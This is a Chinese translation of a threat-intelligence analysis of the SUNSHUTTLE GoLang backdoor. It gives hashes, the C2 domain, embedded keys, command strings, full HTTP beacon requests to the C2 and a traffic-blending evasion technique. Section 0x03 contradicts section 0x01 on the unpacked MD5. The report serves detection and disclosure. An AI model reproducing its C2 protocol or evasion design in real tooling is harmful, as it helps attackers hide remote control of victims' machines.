0x00 摘要
2020年8月,一家位于美国的实体将一个名为SUNSHUTTLE的新型后门上传到了公共恶意软件存储库。
SUNSHUTTLE是使用GoLang编写的第二阶段后门,包含一些逃避检测的功能。
我们在遭到UNC2452恶意组织入侵的受害者主机上观察到SUNSHUTTLE的存在,因此有迹象表明该恶意软件与UNC2452相关,但我们目前尚未验证该关联性。
在本文附录中包含关于MITER ATT&CK的技术(T1027、T1027.002、T1059.003、T1071.001、T1105、T1140、T1573.001)。
Microsoft在此前的一篇文章中也详细分析了这一系列恶意活动。在这里,我们要感谢Microsoft团队和其他合作伙伴在追踪这一恶意组织期间的出色合作。
0x01 威胁详情
Mandiant Threat Intelligence发现了一个新的后门程序,该后门程序由一家美国实体在2020年8月上传到公共恶意软件存储库,我们将其命名为SUNSHUTTLE。SUNSHUTTLE使用GO语言编写,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。值得注意的是,SUNSHUTTLE使用Cookie标头将值传递给C2,如果进行了相应配置,则可以从流行网站URL列表中选择来源网址,以实现与网络流量的“融合”。
通过检查SUNSHUTTLE后门文件“Lexicon.exe”(MD5:9466c865f7498a35e4e1a8f48ef1dffd),发现它是使用GoLang编写的。该文件脱壳后的MD5为86e89349fefcbdd9d2c80ca30fa85511。目前我们尚不清楚SUNSHUTTLE最初的感染媒介。该恶意软件是攻陷受害者后投递的第二阶段后门工具。
SUNSHUTTLE样本使用攻击者控制的站点“reyweb[.]com”作为C2。“reyweb[.]com”是通过NameSilo匿名注册的,这家域名提供商接受比特币付款,此前曾经被具有俄罗斯、伊朗等国家背景的APT组织用于C2域名注册。
我们在遭到UNC2452攻击的受害者主机上发现了SUNSHUTTLE,并且有迹象表明该恶意软件与UNC2452相关联,但是我们目前尚未证实该关联性。
0x02 展望与启示
新的SUNSHUTTLE后门是一个复杂的第二阶段后门,其中与C2通信的“融合”流量功能展现了一种简单而优雅的逃避检测技术。
SUNSHUTTLE将作为第二阶段的后门程序,与其他SUNBURST相关工具一起实现网络侦查的功能。
0x03 样本详情
Mandiant Threat Intelligence发现了一个SUNSHUTTLE后门样本,并将其上传到在线多重反病毒扫描服务。SUNSHUTTLE是使用GO语言编写的后门,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。
Lexicon.exe(MD5:9466c865f7498a35e4e1a8f48ef1dffd)
C2:reyweb[.]com
UNAVAILABLE(MD5:86e89349fefcbdd9d2c80ca30fa85511)
脱壳版本MD5:9466c865f7498a35e4e1a8f48ef1dffd
0x04 感染媒介
针对分析的样本,目前感染媒介尚未明确。
0x05 执行
5.1 执行摘要
SUNSHUTTLE是一个使用GoLang编写的后门程序。一旦SUNSHUTTLE被执行,将会进行以下操作:
1、确定配置设置;
2、向C2请求会话密钥;
3、从C2检索会话密钥;
4、在检索到会话密钥后,SUNSHUTTLE将开始循环请求信标的命令;
5、开始请求信标的命令;
6、解析命令并执行操作。
我们所分析的SUNSHUTTLE样本中,保留了该恶意软件使用的例程的名称,其中包括:
main.request_session_key main.define_internal_settings main.send_file_part main.clean_file main.send_command_result main.retrieve_session_key main.save_internal_settings main.resolve_command main.write_file main.beaconing main.wget_file main.fileExists main.encrypt main.decrypt main.random main.removeBase64Padding main.addBase64Padding main.delete_empty main.Unpad main.GetMD5Hash main.Pad
注意:在整个SUNSHUTTLE后门中,通过在Cookie标头中使用唯一的字符串标识符来指示正在执行的操作。同时,唯一的字符串标识符也用于验证和解析来自C2的响应内容。我们发现这些唯一的字符串值在每个编译样本中都是唯一且随机的。
5.2 初始执行
一旦执行后,SUNSHUTTLE后门就会枚举受害者的MAC地址,并将其与硬编码的MAC地址值“c8:27:cc:c2:37:5a”进行比较。如果找到匹配项,后门即退出。该MAC地址可能是Windows沙箱网络适配器的默认MAC地址。
MAC地址检查:
5.3 配置
如果检查通过,则SUNSHUTTLE后门会进入到一个名为“main_define_internal_settings”的例程,该例程将判断运行SUNSHUTTLE的目录中是否存在配置文件,如果不存在则创建该文件。在我们所分析的样本中,配置文件名是“config.dat.tmp”。使用以下密钥对配置数据进行Base64编码和AES-256加密:
hz8l2fnpvp71ujfy8rht6b0smouvp9k8
在对Base64进行解码、对AES进行解密后,样本的配置文件内容如下:
48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
在配置中,使用“|”字符进行不同值的区分,简要描述如下。
48b9e25491e088a35105274cae0b9e67
执行期间计算出当前时间戳的MD5哈希值。
5-15
SUNSHUTTLE执行期间随机睡眠时间的最小值和最大值。
0
是否使用“融合”流量请求,内部将其称为“false_requesting”。
0
激活(activation)执行时间戳(默认为0),如果当前时间大于配置中的值,则执行“激活”或继续。
TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2 8vMjAxMDAxMDEgRmlyZWZveC83NS4w
HTTP请求中使用Base64编码后的User Agent,解码后内容为:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 。
如果进行了相应配置,则在恶意软件执行过程中会利用以下URL实现流量“融合”:
https://reyweb[.]com/icon.ico https://reyweb[.]com/icon.png https://reyweb[.]com/script.js https://reyweb[.]com/style.css https://reyweb[.]com/css/style.css https://reyweb[.]com/css/bootstrap.css https://reyweb[.]com/scripts/jquery.js https://reyweb[.]com/scripts/bootstrap.js https://cdn.mxpnl[.]com/ https://cdn.google[.]com/ https://cdn.jquery[.]com/ https://code.jquery[.]com/ https://cdn.cloudflare[.]com/
5.4 会话密钥机制
SUNSHUTTLE执行对C2的初始请求,以请求并检索其内部称为“会话密钥”(Session Key)的内容。在从C2检索到会话密钥后,使用嵌入在SUNSHUTTLE中的以下私钥进行RSA解密,该密钥针对每个编译版本来说都是唯一的。我们正在分析该恶意软件如何利用解密后得到的会话密钥,不过在SUNSHUTTLE的命令与控制例程中,该密钥很可能是用于加密内容的会话密钥。
-----BEGIN PRIVATE KEY----- MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi +UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M 7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7 MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1 HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7 agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/ Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6 gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi -----END PRIVATE KEY---
在创建配置或从中读取配置后,SUNSHUTTLE将进入到名为“main_request_session_key”的例程。恶意软件将在这一例程上进行循环,每次循环后休眠一段时间,直到成功为止。
在“main_request_session_key”例程中,SUNSHUTTLE为其构造的C2构造一个HTTPS请求。根据请求的HTTP 200响应,预期来自C2的响应数据中不应包含以下字符串:
ywQdjLuHHC
如果该字符串不在响应中,则request_session_key例程返回1。如果该字符串包含在响应之中,则返回-1。如果request_session_key的结果为1,则SUNSHUTTLE将执行retrieve_session_key例程。
retrieve_session_key例程将再次与C2通信,并下载特定加密内容,使用上述嵌入的私钥进行解密。一旦SUNSHUTTLE进入到命令与控制例程,解密的内容很可能是用于加密内容的会话密钥。
5.5 命令
在从C2检索到会话密钥后,SUNSHUTTLE将在循环中启动信标和“resolve_command”例程。SUNSHUTTLE首先发出信标以检索命令。随后,它将进入到例程“resolve_command”之中,该例程将解析响应内容,从而确定应该运行哪个命令。可以使用的命令包括远程更新配置、上传、下载和任意命令执行。
解析命令示意图:
在“main_beaconing”例程之后,会对从C2返回的内容进行Base64解码和AES解密。这里会执行一次检查,以确认解密后的内容不包含以下字符串:
Cp5RTQ31R1
同之前的一样,这些字符串可能针对每个样本都是唯一的,并且在编译时会随机生成。
解密后的字符串内容及解析如下:
zSsP2TSJJm3a 更新睡眠时间范围并保存配置
aQJmWJzXdYK721mGBI3U 更新“false_requesting”(融合)值并保存配置
W5VYP9Iu2uyHK 更新C2 URL和用户代理并保存配置
3487wD9t2OZkvqdwRpqPeE 将当前时间戳发送到C2
ubFxROBRwfswVRWNjLC 更新配置中的“activation”时间戳并保存配置
TMuhGdA9EHY 如果文件存在,将其上传到C2
1kG4NaRX83BCMgLo38Bjq 执行命令,如果成功则返回“EXECED”
hB0upT6CUmdRaR2KVBvxrJ 执行命令,返回结果或输出
N/A(符合其他字符串条件) 提供终端命令执行
N/A(符合其他字符串条件) 从C2下载文件
0x06 投放文件
在成功执行恶意软件后,会将以下文件投递到受害者的系统中:
该文件是加密后的配置文件。
0x07 持久化方法
我们未观察到SUNSHUTTLE恶意软件具有任何持久化方法。不排除该恶意活动是在SUNSHUTTLE外部设置持久性的。
0x08 网络通信
SUNSHUTTLE使用Cookie标头将值传递给C2。此外,恶意软件会从下面的列表中选择一个来源地址。在我们解密流量并进行检查时,可能会被混淆。
www.bing.com
www.yahoo.com
www.google.com
www.facebook.com
Cookie标头根据所执行的操作而略有不同。下面是从“request_session_key”例程向C2发出的示例请求。
(受害者主机到C2)
GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip
在Cookie标头中,其不同值含义如下。
HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
配置中包含的时间戳MD5。
P5hCrabkKf=gZLXIeKI
“P5hCrabkKf=”包含一个唯一的字符串,该字符串表示正在执行请求的例程(详细参考下表)。
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
“i4zICToyI70Yeidf1f7rWjm5foKX2Usx”是在SUNSHUTTLE后门中硬编码的值,它可能表示Payload标识符。
b7XCoFSvs1YRW=78
含义不明,此值仅包含在request_session_key和retrieve_session_key请求中。
如上所述,每个请求中包含的Cookie值“P5hCrabkKf=”都表示正在执行的操作,其对应关系如下。
gZLXIeK main_request_session_key
do1KiqzhQ main_clean_file
t5UITQ2PdFg5 main_wget_file
cIHiqD5p4da6OeB main_retrieve_session_key
xpjQVt3bJzWuv main_send_file_part
S4rgG1WifHU main_send_command_result
在成功安装/初始化恶意软件后,它将继续通过TCP/443 HTTPS对C2服务器reyweb[.]com进行以下回调:
(受害者主机到C2)
GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip
(受害者主机到C2)
GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.yahoo.com Accept-Encoding: gzip
此外,如果将“fake_requesting”配置值设置为1,则SUNSHUTTLE将生成与真实流量相融合的流量。这些请求的示例如下:
(受害者主机到C2)
GET /icon.png HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip
(受害者主机到C2)
GET /css/style.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip
(受害者主机到C2)
GET /css/bootstrap.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip
(受害者主机到合法站点)
GET / HTTP/1.1 Host: cdn.cloudflare[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip
0x09 附录:MITRE ATT&CK框架
T1027 混淆的文件或信息
T1027.002 软件加壳
T1059.003 Windows命令Shell
T1071.001 网络协议
T1105 入口工具转移
T1140 反混淆/解码文件或信息
T1573.001 对称密码学
0x0A 附录:检测技术
FireEye安全解决方案可以提供跨电子邮件、终端和网络级别的SUNSHUTTLE恶意活动检测。以下是与恶意软件相关的检测指标。
· 平台:网络安全、邮件安全、实时检测、恶意软件文件扫描、恶意软件文件存储扫描
· 检测名称:
FE_APT_Backdoor_Win64_SUNSHUTTLE_1
FE_APT_Backdoor_Win_SUNSHUTTLE_1
APT.Backdoor.Win.SUNSHUTTLE
APT.Backdoor.Win.SUNSHUTTLE.MVX
· 平台:终端安全
· 检测名称:
恶意软件防护(AV/MG)
Trojan.GenericKD.34453763
Generic.mg.9466c865f7498a35
本文翻译自:https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html如若转载,请注明原文地址: